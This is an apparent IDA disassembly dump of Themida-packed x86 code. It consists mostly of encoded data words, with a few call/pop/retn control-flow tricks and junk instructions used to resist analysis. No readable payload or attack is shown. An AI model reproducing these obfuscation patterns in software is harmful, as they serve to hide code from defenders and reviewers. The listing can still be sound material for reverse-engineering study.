dd 9D0BC797h, 6121EDDh, 0BD00B58Bh, 8E90615h, 84000000h dd 0F38A16F8h, 8B1D4676h, 12303985h, 75BD8906h, 89061217h dd 0C486h, 0BE800h, 0AAE90000h, 0FF9CDF80h, 0DED8818Ch dd 0A5B58934h, 5B061213h, 2DCD958Bh, 8F0F0612h, 5, 54DB8166h dd 4C2836Ah, 61606057h, 820Fh, 5F610000h, 8D205089h, 15D0EA85h dd 0ADBD8906h, 8906122Fh, 0B886h, 0D3B7BB00h, 6A2096h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h dd 8546AE49h, 0C19D8B3Bh, 0FF06121Ch, 15BD0CB5h, 0E5BD8B06h dd 0FF061218h, 122CD595h, 35B58906h, 50061207h, 320397BBh dd 24348928h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 7CC35747h, 79723574h, 0D1BDB1Bh, 14F1BD8Bh, 0B5FF0612h dd 615BD0Ch, 1D918D01h, 95FF0612h, 6122E29h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1CC35040h, 0E9140062h dd 0Fh, 0EB885BE1h, 0F770C889h, 7C69335h, 8318A5D6h, 121189BDh dd 840F0006h, 49h, 68C0Fh, 9D090000h, 6122895h, 8830F50h dd 60000000h, 66C68B66h, 8961F18Bh, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 63A767C3h dd 42B4EBE5h, 89975975h, 1207698Dh, 0CB5FF06h, 6A0615BDh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2282C350h, 0E2A04CFh, 0AE9E7h, 31BC0000h dd 6212D169h, 0A73FC3E6h, 2AA595FFh, 6A0612h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B6D0BC3h dd 1207699Dh, 0FEBF6606h, 0CB5FF48h, 8B0615BDh, 1203B1BDh dd 9D8B5006h, 61227E5h, 0B195FF5Fh, 0BF06121Bh, 58BDC357h dd 860Fh, 0BD830000h, 6122A41h, 52840F02h, 0FC000000h dd 18A9858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E1DECFC3h, 8D891397h, 612296Dh dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 5045C357h, 3F0868FEh, 185C792h dd 61203h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0EB7DC356h, 13E9h, 326300h, 0BCB5DC44h dd 5528D221h, 0B7AEE87Bh, 0DEFE4EAAh, 0FFF3A7E9h, 1B589FFh dd 8B061230h, 0C19D09C1h, 8D061231h, 12006585h, 0B70F5706h dd 9D8B5FD8h, 6121645h, 0DD57BB50h, 4893036h, 6A006A24h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0D72CC350h, 7E7D34DDh, 8D006A3Dh, 16873285h dd 69850106h, 8306122Eh, 9CBB05C0h, 9047D25Ch, 0F18B5260h dd 61C8B55Eh, 0E8525050h, 0Eh, 0BD1F2D54h, 19AA6880h, 11969305h dd 8B66476Eh, 310F5FD8h, 0AE8h, 0B94CF000h, 61257305h dd 5BE02042h, 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 67CCC353h, 91507EE6h dd 80980CF2h, 6AC0DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0FCC35747h, 6FE2FC07h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 8F4FD1C3h, 95FFC2B2h, 6120B55h, 56C517BFh, 0CA8D8D4Dh dd 6A06159Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 4D5AC353h, 23720762h, 8B5CA369h dd 0BD3160DEh, 6122405h, 0E890Fh, 9E90000h, 1D000000h dd 1F2D54B9h, 0AA6880BDh, 8BD1FF61h, 1216719Dh, 0E9BD8306h dd 106120Eh, 0EA850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8BE7CFC3h, 1214159Dh dd 89606006h, 1221F9B5h, 7E86106h, 0C7000000h, 10129E9h dd 13E9FAA9h, 59000000h, 3945E71Ah, 0B8AB2033h, 97C9E88Ch dd 0E455832Bh, 61598C11h, 0E960026Ah, 10h, 3C7276F7h, 94657D65h dd 0F922BCE0h, 0CCBD3324h, 2831B52Bh, 50610612h, 6896BF66h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0E06BC351h, 0BD8BF32Dh, 612285Dh dd 799BD31h, 95FF0612h, 6122CD5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 6C35545h, 7DB58B60h, 6006121Dh dd 12E8h, 72154800h, 0EF43FD19h, 0E0838803h, 80C74355h dd 5F4DFB12h, 61615F57h, 0DA0E9h, 0E800h, 815D0000h, 16873CEDh dd 6820F06h, 89000000h, 121BC9B5h, 99D8B06h, 6606122Eh dd 858DF88Bh, 615968Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 97C35242h, 1F98B66h, 1229C595h, 8B665006h dd 240489FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 44C35545h, 0CF81D272h, 30FF22F2h, 35FF64h, 66000000h dd 0BD8BDE8Bh, 61220F5h, 258964h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8003C352h, 85FFF4CBh, 6121235h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0A4C35141h, 0DE3D2F03h, 844BEB81h dd 0BF663F1Ah, 0FF6A8189h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0D8C35747h, 0E03A0CD4h, 0FB8B66E2h, 19B5FFF9h dd 8B06122Bh, 7595FFDFh, 0E9061214h, 158h, 0AE960h, 98220000h dd 853DEB1h, 787D3620h, 6000B061h, 13E9h, 66C5D800h, 0ECC0D07Eh dd 0AD69056Fh, 0E27443D4h, 0DD86677h, 8B70E661h, 122EE5BDh dd 8971E406h, 121CB5BDh, 0FABB6606h, 0F613C2Ah, 10F83h dd 71B58900h, 0F061208h, 0BAF8C8B6h, 6, 0C18BFA8Bh, 1F840Fh dd 0E9600000h, 12h, 349003B7h, 0C49262C6h, 43BC0F90h, 1F18ADCh dd 0D6813739h, 3AD5FA8Ah, 4E8C161h, 8BE2F766h, 0CE8FBh dd 0A96D0000h, 0C04D93Eh, 90DAEA4Ah, 9D03EEC5h, 6120F55h dd 8BC82B5Bh, 1200B5BDh, 0BD18B06h, 12150D9Dh, 23E906h dd 29600000h dd 120739BDh, 458D8B06h, 61061207h, 10E9h, 51E49500h, 4727A295h dd 0EB5FC3C6h, 10067846h, 5858B6Eh, 906122Ah, 122A2985h dd 7C08306h, 12E9h, 8F22C200h, 0C3675FEFh, 0C5E68C8Eh dd 995F41E4h, 83D5A992h, 0D98B00C0h, 830FD03Bh, 1Ch, 45E9FA8Bh dd 0E8000000h, 9, 460AE877h, 0D5C0AFB9h, 6DBD0374h, 5B06120Ch dd 2D698D8Bh, 0B5290612h, 612221Dh, 0F01E183h, 1B84h, 0A583F800h dd 6122D69h, 35B589FEh, 8906122Ch, 122A0595h, 0E9DF8B06h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6160BAEh] push 0 push ebx call sub_5C4491 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4491 proc near ; CODE XREF: Themida_:005C4489p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5C4491 endp ; --------------------------------------------------------------------------- db 0C9h, 0E3h, 95h dd 0D659F2ECh, 6A5F57h, 0BD9D0357h, 5B061223h, 9BBB6656h dd 95FF5FFDh, 61229D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0BCC35646h, 3BE48766h, 0F037CB91h, 881B9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0ACD8CF46h, 2DC381BCh, 2947E3CEh, 1229F19Dh dd 0FCE18306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0B0C35646h, 0AE658F98h, 0BB66C6EAh, 8D89120Ah dd 6120741h, 28ED8501h, 6AFC0612h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 1FC3C350h dd 6D1F5F3h, 66287F6Fh, 0E974D8BFh, 6, 27F86B07h, 0BF66863Dh dd 0C02B6595h, 23D19D8Bh, 0BA0612h, 0F000000h, 68Ch, 99BD0B00h dd 0F8061207h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 8B923D1Bh dd 12E9D8h, 0C30F0000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch dd 2FFFF5D9h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0BB9ADCB3h, 958B98ECh dd 6122DCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 31C35747h, 0D03B45D9h, 8D8BD3B3h, 61231BDh, 5F64B753h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8BF7C3h, 612254Dh, 19BD83F5h, 61214h, 74840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 81F04BC3h, 2C9D64D7h, 0B822h, 66510000h, 5BAD1FBBh dd 4E4B8D8Dh, 0BD8B0612h, 61208F1h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E91004C3h dd 10h, 6A9178C7h, 0B66C6360h, 0A764D570h, 4828CF16h, 17A1BD8Bh dd 0BD830612h, 6120011h, 0D2840F00h, 66000003h, 83E31BBBh dd 120011BDh, 840F0106h, 3DCh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 7CC35141h, 51D0956Fh, 11BD8369h dd 3061200h, 378860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 222E5AC3h, 1BF6603h dd 0BD89600Dh, 612146Dh, 7319D8Bh, 8C660612h, 57006AD9h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 2B610CB1h, 0B50B265h, 1229CDBDh, 4E18006h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D9C35545h, 40FF405Bh dd 4E5C1933h, 819529D8h, 0A061223h, 0F1840FC9h, 8B000000h dd 122DA1BDh, 0CD858B06h, 6A061224h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 847FC357h dd 85332194h, 612248Dh, 0D50949BFh, 6650901Dh, 900D37BFh dd 6A5F53h, 7519D23h, 11680612h, 60C596E8h, 7E9h, 2E52800h dd 0E534415h, 9E9h, 8102D900h, 897B9476h, 81611838h, 1BEE2404h dd 6A3A88h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 652179C3h, 10653100h, 303195FFh, 14E90612h dd 0B6000000h, 92D9C421h, 0DD32CEE9h, 470FA121h, 23803EBEh dd 891C89B7h, 15BD0C85h, 60F88A06h, 19CD8D8Bh, 0E7800612h dd 66E96104h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 4F4AC355h, 7F4ACBEEh dd 8D01DB5Dh, 6121605h, 0BD04858Bh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0C7C0C3h dd 18h, 0B58BC2B7h, 615BD08h, 2D9D0360h, 0F806121Ah, 99858B61h dd 0FC061223h, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 733F2FC3h, 1D9D2947h, 8B06120Bh dd 1224CD85h, 0E7816606h, 46893F82h, 0FEBF0F04h, 50D88B96h dd 0BEBB6696h, 53C3816Ah, 0FF5E7970h, 15BD04B5h, 522CBB06h dd 0D5684092h, 0BB72DA8Ah, 9CA2905h, 2A243481h, 6672C589h dd 0F348E381h, 10C58D29h, 858D0612h, 615BD0Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 25C35646h, 0CB813C74h dd 39E2A45Dh, 0F59D3356h, 5F06122Bh, 260D9D8Bh, 50900612h dd 165EBF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 95FF0977h, 6123031h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8C35242h, 0FDB109B4h dd 0B59D29EBh, 8B06122Fh, 1208CD9Dh, 6A6106h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CB3244C3h dd 5E9h, 58952700h, 85C75AE3h, 6120011h, 3, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2AC35242h, 1ED78166h dd 0CBD83F8h, 615BDh, 58840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 66F1A9C3h dd 0F40401E2h, 10D99D8Bh, 0F7810612h, 267499C3h, 40E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0CCFC5978h, 0BF663B37h, 30502608h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 559D8BC0h dd 6606121Fh, 6414D781h, 11BD83h, 0F030612h, 44285h, 81665600h dd 5FF98DEFh, 6E8h, 13DEF100h, 8BD88493h, 0BD835BDAh, 615BD0Ch dd 20840F00h, 60000004h, 8D8BCA8Bh, 6122E45h, 0CB5FF61h dd 660615BDh, 6F18EF81h, 202995FFh, 6A0612h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 5766CCC3h dd 8BA71A99h, 1221699Dh, 14E806h, 7B5D0000h, 0F970D10h dd 70DE3CDDh, 371E904Dh, 0C15D7D4Dh, 0BF662DA7h, 8B5B098Fh dd 15BD00B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 3624B688h, 80BD5309h, 6C77DEBh, 10001h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 53C35646h dd 9691ECE2h, 45852B60h, 906122Fh, 121455BDh, 0B70F6106h dd 8C0F96DFh, 15h, 0DE856h, 72400000h, 0C9753296h, 5F1B3DDAh dd 5BE9B5F3h, 0AE8505Bh, 31000000h, 0F2472310h, 5FDE0512h dd 0BE66605Ch, 8E0FCC4Dh, 0 ; --------------------------------------------------------------------------- popa pop ebx xchg eax, esi push 0 push edi call sub_5C4C46 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4C46 proc near ; CODE XREF: Themida_:005C4C3Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5C4C46 endp ; --------------------------------------------------------------------------- dw 12EFh ; --------------------------------------------------------------------------- pusha jnp short loc_5C4C90 push dword ptr [ebp+615BD0Ch] push 0 push ebp call sub_5C4C6C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4C6C proc near ; CODE XREF: Themida_:005C4C64p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C4C6C endp ; --------------------------------------------------------------------------- dd 95FFAB63h, 6121AE1h, 0E850006Ah, 3, 58C35820h ; --------------------------------------------------------------------------- loc_5C4C90: ; CODE XREF: Themida_:005C4C59j mov [esp+4], eax add dword ptr [esp+4], 1Dh inc eax push eax retn ; --------------------------------------------------------------------------- db 67h dd 79A75DF3h, 0B07F4706h, 859D8B4Fh, 8B061212h, 15BD00B5h dd 9535106h, 121B8DBDh, 8B5F5B06h, 12303985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 31D8BA5Eh, 6B33BB2Dh, 86895555h, 0C4h, 1A219D8Bh, 958B0612h dd 6122DCDh, 0C283F98Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 89254FC7h, 122A998Dh dd 20508906h, 0BD8BC5B7h, 6122F45h, 0D0EA858Dh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 602E08C3h, 0BA3A0E87h, 0B886897Ch, 29000000h, 122315B5h dd 3BDBBF06h, 6A0852h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0CCC35242h, 0D3C75CA0h, 1D8D8970h, 2B06122Ch dd 1207299Dh, 0CB5FF06h, 0F0615BDh, 95FFFBB7h, 6122CD5h dd 0E9575396h, 11h, 0D8456483h, 0F8133D22h, 18C5823Fh dd 35E14C58h, 505F5F5Dh, 8E8h, 0DC2A4200h, 3119FEE3h, 0AE9BCh dd 0B03B0000h, 2F2D74Bh, 5FEAB1ECh, 0BD8B965Bh, 6122319h dd 0BD0CB5FFh, 81660615h, 0FF69FBEBh, 122E2995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E940EA58h, 0Ch, 7DA71181h, 0A9DBB13Fh, 9635604Ch, 1189BD83h dd 0F000612h, 7084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8EF0C7F3h, 0C9DE27C3h dd 0A5958960h, 0E806122Fh, 6, 0FAB024E8h, 8D295D12h, 6121785h dd 8950615Fh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 276FFEC3h, 0C5C541CAh, 7E901h, 32960000h dd 3DDAC975h, 0CB5FF1Bh, 8B0615BDh, 120B1DBDh, 0A595FF06h dd 8B06122Ah, 121E459Dh, 0CB5FF06h, 660615BDh, 603CD8BBh dd 0FE9FCh, 700C0000h, 0F16911EBh, 0E2DC9B26h, 3446AF8Fh dd 95FF616Ch, 6121BB1h, 26E98D29h, 0BD830612h, 6122A41h dd 58840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 9DABC352h, 18A9858Bh dd 81660612h, 0E87AFDCFh, 7, 6B632D90h, 5B219E94h, 6A0000C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 18C6C351h, 0C7437DA3h, 12030185h, 6, 0E1958900h dd 0E906122Ch, 0FFFFF38Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 71C35343h, 9D8B059Dh, 6120899h, 6AC18Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0F3327CC3h, 47ED32BEh, 0B70FD22Ch, 65858DD8h, 6A061200h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 7680C356h, 4C14EB85h, 0BB66B29Dh, 529060FEh dd 9E8h, 8B5A3400h, 2E674419h, 6160E0A5h, 51505F5Bh, 905F5F56h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A0C35747h dd 6A54D4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 7DC35747h, 0BF66E6E2h, 1510321h, 121DED85h, 6A5B06h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 64C35242h dd 84D87714h, 5E8600Fh, 11000000h, 0A8132D00h, 3075BD8Bh dd 8D5B0612h, 1696DF85h, 68F0F06h, 8B000000h, 1225C5BDh dd 5C08306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 5AC35747h, 393F35FBh, 0E990A915h, 0Ah, 0BE7B9358h dd 0A403EB8Ah, 66506B5Ch, 902F7DBBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 90C35242h, 29771B95h, 8BD9BFB7h dd 0F38166FCh, 6AA0FBh, 10E9BD2Bh, 9D090612h, 6122A3Dh dd 0E380006Ah, 5595FF2Ch, 6A06120Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A813C352h dd 5402CA3Eh, 9BCA8D8Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 8BCD42C3h, 75AB5BFAh dd 0FFFA8B66h, 0DDBD8BD1h, 83061226h, 120EE9BDh, 850F0106h dd 51h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h dd 79C35545h, 88EA5051h, 6870Fh, 9D8B0000h, 6120F09h, 0BF66026Ah dd 57508002h, 2404895Fh, 89BD8960h, 6106120Bh, 2CD595FFh dd 6E90612h, 18000000h, 21B6CF84h, 0DF7E9C4h, 0E80000h dd 5D000000h, 96E9ED81h, 6A0616h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0F4E522C3h, 10E9818Fh dd 7B000000h, 1045ECF6h, 0B663897h, 0BFA92C14h, 60EABE5Bh dd 1C8DB533h, 8C0F0612h, 2, 0F616160h, 890FDFB7h, 1, 8F858DF5h dd 6A061596h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 697C356h, 0F88B5045h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 2CCEC352h, 92EBDB8Bh, 120D6DD3h, 17258D09h dd 0FF640612h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 394770F8h, 0D59D8B4Dh dd 64061207h, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 3CFF7C3h, 0F419589h dd 8E90612h, 0AE000000h, 0FD1B6BE8h, 0FF96415Dh, 12123585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 5335B7EFh, 32F05B29h, 0FE8h, 0BF590D00h dd 26CDBF0Bh, 146E4CEFh, 20829081h, 1385BD8Bh, 6A5F0612h dd 15BD8BFFh, 0FF06120Fh, 1229B1B5h, 0C7816606h, 95FF7355h dd 6121475h, 110E9h, 56C8BB00h, 0B05466h, 0E6DABF0Fh, 21B58970h dd 0E4061220h, 5DBD8971h, 3C06121Bh, 0EE830F61h, 80000000h dd 0B60FDADFh, 5E9C8h, 5E9D0000h, 0BA10B9D1h, 6, 0E8DA8B66h dd 9, 0F4F0CDB9h, 0F3A73728h, 0A3BB661Dh, 0C18B5F13h, 0E8C1DA8Ah dd 0BDBD8B04h, 66061219h, 5E9E2F7h, 54000000h, 3F315ADAh dd 9D89C82Bh, 6121605h, 6E9D18Bh, 8B000000h, 1232A9BDh dd 29858B06h, 89061228h, 12159D85h, 7C08306h, 781BD8Bh dd 0BB660612h, 0C083A866h, 899D3100h, 60061200h, 8B616060h dd 1207C99Dh, 0BD8B6106h, 6120F4Dh, 0FD03B61h, 1883h, 6E900h dd 32140000h, 215EADFBh, 48E9h, 0BD8D3100h, 8B061208h dd 198D8BF9h, 0F06121Eh, 688h, 799D0B00h, 83061221h, 840F01E1h dd 25h, 19A583F8h, 0FE06121Eh, 6810Fh, 9D8B0000h, 6122DBDh dd 28299589h, 0BD0B0612h, 612286Dh, 0E9h, 0EEB58D00h, 9061615h dd 1208E985h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0DA97C356h, 80E62CBBh dd 95FFCFD7h, 61229D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 61C35646h, 7A1B9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E183FC3Dh, 0FFB8BFCh, 38Dh, 0DBB70F00h, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 925069DEh, 3FEA119Ah, 0C02BD484h, 43F48ABFh, 0BA37h dd 0BF660000h, 33AD099Fh, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0DD381C3h, 88h, 2019BD89h, 958B0612h, 6122DCDh, 31BD8D8Bh dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 6C9931C3h, 2DB59D8Bh, 8D0F0612h, 6, 29F18589h dd 8B500612h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 5FEFE1BFh, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B666A5Ah, 19BD83DFh, 61214h, 61840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 58F021C3h, 7345EF81h, 0B858FCh, 66000000h dd 8B7232BBh, 1222EDBDh, 4B8D8D06h, 0F06124Eh, 0E1FFFAB7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DFC35747h dd 669025C0h, 83DFBF0Fh, 120011BDh, 840F0006h, 449h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F1C35646h, 5E960h dd 0EBE70000h, 6675612Eh, 0F61FE8Bh, 1684h, 11E900h, 0BA870000h dd 415C5A07h, 75028567h, 5D98BE19h, 83F0D00Eh, 120011BDh dd 840F0106h, 410h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0FCC35747h, 89BC8C8Ch, 1231F58Dh, 0FAB70F06h dd 11BD83h, 0F030612h, 3A586h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F9DDDA69h dd 0F59D8960h, 6606122Bh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 29CF39C3h, 1200059Dh dd 4E18006h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0FBC35141h, 72DC8BEFh, 0E82A963Ah, 23BD9D89h, 0C90A0612h dd 107840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 6E1006C3h, 0B568A150h, 0B9BBB66h dd 858BFA8Ah, 61224CDh, 30E99D8Bh, 0BB660612h, 8533C99Bh dd 612248Dh, 50FBBF0Fh, 10E8h, 0FFD1AC00h, 21D3A6EBh, 660983BFh dd 725F940Ah, 0FA8B666Bh, 2404895Fh, 25FD9529h, 8B660612h dd 6A006AF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3316C355h, 8A0FE597h, 0 ; --------------------------------------------------------------------------- push 7EC1B88Dh push edi jl $+6 pop ebx xor dword ptr [esp], 7EDEBB72h push 0 push esi call sub_5C57D7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C57D7 proc near ; CODE XREF: Themida_:005C57CFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C57D7 endp ; --------------------------------------------------------------------------- rcr byte ptr [ebx+59h], 8Dh imul dword ptr [eax+1FA71312h] call dword ptr [ebp+6123031h] jno $+6 mov ebx, 1FC81ED2h mov [ebp+615BD0Ch], eax push 0 push ebp call sub_5C5813 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5813 proc near ; CODE XREF: Themida_:005C580Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C5813 endp ; --------------------------------------------------------------------------- db 44h dd 10007E16h, 0B2E9EF98h, 8A000001h, 4858BD9h, 0E90615BDh dd 5, 0D94AD576h, 1800C728h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1159C356h dd 51F18160h, 801BCE6Fh, 8B6157E6h, 122C7D9Dh, 8B58B06h dd 6A0615BDh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 96D2C355h, 12E9h, 0DBFF8100h dd 4B6F92AFh, 0E210CA74h, 0AF41D4BBh, 319FDD58h, 1226799Dh dd 99858B06h, 6A061223h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 67C7C351h, 26C680FBh dd 81E40092h, 5931C3DBh, 5FF55622h, 0DE90689h, 0F6000000h dd 6F2FC5B3h, 1BD3808Eh, 836CBE85h, 24CD858Bh, 0B70F0612h dd 89DF8BDEh, 9D8B0446h, 6121D61h, 8428BF50h, 348946A9h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8166F08Eh, 0FF4185DFh, 15BD04B5h, 686DB306h dd 50764D15h, 